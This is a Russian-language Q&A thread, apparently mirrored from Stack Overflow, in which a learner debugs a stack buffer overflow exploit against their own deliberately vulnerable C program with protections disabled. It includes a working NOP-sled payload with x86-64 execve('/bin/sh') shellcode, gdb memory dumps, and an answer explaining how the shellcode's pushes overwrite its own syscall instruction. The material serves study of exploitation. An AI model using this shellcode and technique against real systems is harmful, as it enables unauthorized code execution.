Почему количество NOP влияет на успешное выполнение шеллкода? - PullRequest
0 голосов
/ 11 сентября 2018

Я узнаю о переполнении буфера (только для образовательных целей) и, играя с техникой скольжения NOP для выполнения шеллкода, возникло несколько вопросов относительно того, почему шеллкод иногда не выполняется.

Я скомпилировал следующий код (используя Ubuntu 18.04.1 LTS (x86_64), gcc 7.3.0., ASLR отключен)

#include <stdio.h>
#include <string.h>

void function (char *args)
{
    char   buff[64];
    printf ("%p\n", buff);
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    function (argv[1]);
}

следующим образом: gcc -g -o main main.c -fno-stack-protector -z execstack.Затем я вызвал gdb main, b 9 и

run `perl -e '{ print "\x90"x15; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x8; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'`

Строка выше состоит из NOPs + shellcode + NOPs + bytes to override the saved frame pointer + bytes to override the return address.Я выбрал адрес возврата в соответствии с выводом строки printf.( Внимание : Чтобы сказать это явно, вышеприведенный шестнадцатеричный код открывает оболочку в x86_x64).

Как видно из следующего вывода, буфер переполнен, как и предполагалось.

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x48
0x7fffffffd8c0: 0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2    0x48
0x7fffffffd8c8: 0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68
0x7fffffffd8d0: 0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1    0xeb
0x7fffffffd8d8: 0x08    0x53    0x48    0x89    0xe7    0x4d    0x31    0xd2
0x7fffffffd8e0: 0x41    0x52    0x57    0x48    0x89    0xe6    0x0f    0x05
0x7fffffffd8e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

Продолжение отсюда действительно открывает оболочку.Однако, когда я использую следующее в качестве аргумента (единственное отличие состоит в том, что я заменил \x90"x15 на \x90"x16 и \x90"x8 на \x90"x7)

run `perl -e '{ print "\x90"x16; \
                print "\x48\x31\xc0\xb0\x3b\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\x89\xe7\x4d\x31\xd2\x41\x52\x57\x48\x89\xe6\x0f\x05"; \
                print "\x90"x7; \
                print "A"x8; \
                print "\xb0\xd8\xff\xff\xff\x7f" }'` 

, я получаю

(gdb) x/80bx buff
0x7fffffffd8b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8c0: 0x48    0x31    0xc0    0xb0    0x3b    0x48    0x31    0xd2
0x7fffffffd8c8: 0x48    0xbb    0x2f    0x62    0x69    0x6e    0x2f    0x73
0x7fffffffd8d0: 0x68    0x11    0x48    0xc1    0xe3    0x08    0x48    0xc1
0x7fffffffd8d8: 0xeb    0x08    0x53    0x48    0x89    0xe7    0x4d    0x31
0x7fffffffd8e0: 0xd2    0x41    0x52    0x57    0x48    0x89    0xe6    0x0f
0x7fffffffd8e8: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd8f0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd8f8: 0xb0    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

(gdb) info frame 0
 [...]
 rip = 0x5555555546c1 in function (main.c:9); saved rip = 0x7fffffffd8b0
 [...]
 Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

, который выглядит хорошо для меня (так же, как и выше, за исключением отражения изменения аргумента), хотя, когда я продолжаю в этот раз, я получаю

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()

, и никакая оболочка не открывается.

  • Недопустимая инструкция происходит во втором блоке NOP.Раковина лежит перед блоком NOP.Адрес возврата, похоже, был успешно перезаписан, почему тогда не выполняется шелл-код?
  • Почему первый пример работает, а второй нет, единственное отличие состоит в том, что один NOP был удален дошеллкод и вставляется после шеллкода?

Редактировать: я добавил разборку шеллкода:

0000000000400078 <_start>:
  400078:   48 31 c0                xor    %rax,%rax
  40007b:   b0 3b                   mov    $0x3b,%al
  40007d:   48 31 d2                xor    %rdx,%rdx
  400080:   48 bb 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rbx
  400087:   73 68 11 
  40008a:   48 c1 e3 08             shl    $0x8,%rbx
  40008e:   48 c1 eb 08             shr    $0x8,%rbx
  400092:   53                      push   %rbx
  400093:   48 89 e7                mov    %rsp,%rdi
  400096:   4d 31 d2                xor    %r10,%r10
  400099:   41 52                   push   %r10
  40009b:   57                      push   %rdi
  40009c:   48 89 e6                mov    %rsp,%rsi
  40009f:   0f 05                   syscall

1 Ответ

0 голосов
/ 11 сентября 2018

Шут, предполагающий, что операции push шеллкода перезаписывают инструкции в дальнем конце кода шеллки относительно моего второго примера, был верным:

Проверка текущей инструкции после получения SIGILL путем установки set disassemble-next-line on и повторения второго примера дает

Program received signal SIGILL, Illegal instruction.
0x00007fffffffd8ea in ?? ()
=> 0x00007fffffffd8ea:  ff  (bad)

NOP (90), который был по этому адресу ранее, был перезаписан ff.

Как это происходит? Повторите второй пример еще раз и дополнительно установите b 8. На данный момент буфер еще не переполнен.

(gdb) info frame 0
[...]
Saved registers:
  rbp at 0x7fffffffd8f0, rip at 0x7fffffffd8f8

Байты, начинающиеся с 0x7fffffffd8f8, содержат адрес, который будет возвращен после выхода из функции function. Тогда этот 0x7fffffffd8f8 адрес также будет адресом, с которого стек будет продолжать расти снова (там будут храниться первые 8 байтов). Действительно, продолжение работы с gdb и использование команды si показывает, что перед первой инструкцией шеллкода push указатель стека указывает на 0x7fffffffd900:

(gdb) si
0x00007fffffffd8da in ?? ()
=> 0x00007fffffffd8da:  53      push   %rbx
(gdb) x/8x $sp
0x7fffffffd900: 0xf8    0xd9    0xff    0xff    0xff    0x7f    0x00    0x00 

... и при выполнении инструкции push байты сохраняются по адресу 0x7fffffffd8f8:

(gdb) si
0x00007fffffffd8db in ?? ()
=> 0x00007fffffffd8db:  48 89 e7        mov    %rsp,%rdi
(gdb) x/8bx $sp
0x7fffffffd8f8: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x00

Продолжая это, можно видеть, что после последней инструкции push шелл-кода содержимое push помещается в стек по адресу 0x7fffffffd8e8:

0x00007fffffffd8e3 in ?? ()
=> 0x00007fffffffd8e3:  57      push   %rdi
0x00007fffffffd8e4 in ?? ()
=> 0x00007fffffffd8e4:  48 89 e6        mov    %rsp,%rsi
(gdb) x/8bx $sp
0x7fffffffd8e8: 0xf8    0xd8    0xff    0xff    0xff    0x7f    0x00    0x00

Однако, это также место, где хранится последний байт для инструкции syscall (см. Вывод x/80bx buff в вопросе для второго примера). Следовательно, системный вызов и, следовательно, шелл-код не могут быть успешно выполнены. В первом примере этого не происходит, с тех пор байты, помещенные в стек, увеличиваются до конца шелл-кода (без переопределения его байта): 8 байтов для 8 NOP ("\x90"x8) + 8 байтов для сохраненный базовый указатель + 8 байт для адреса возврата обеспечивает достаточно места для операций 3 push.

...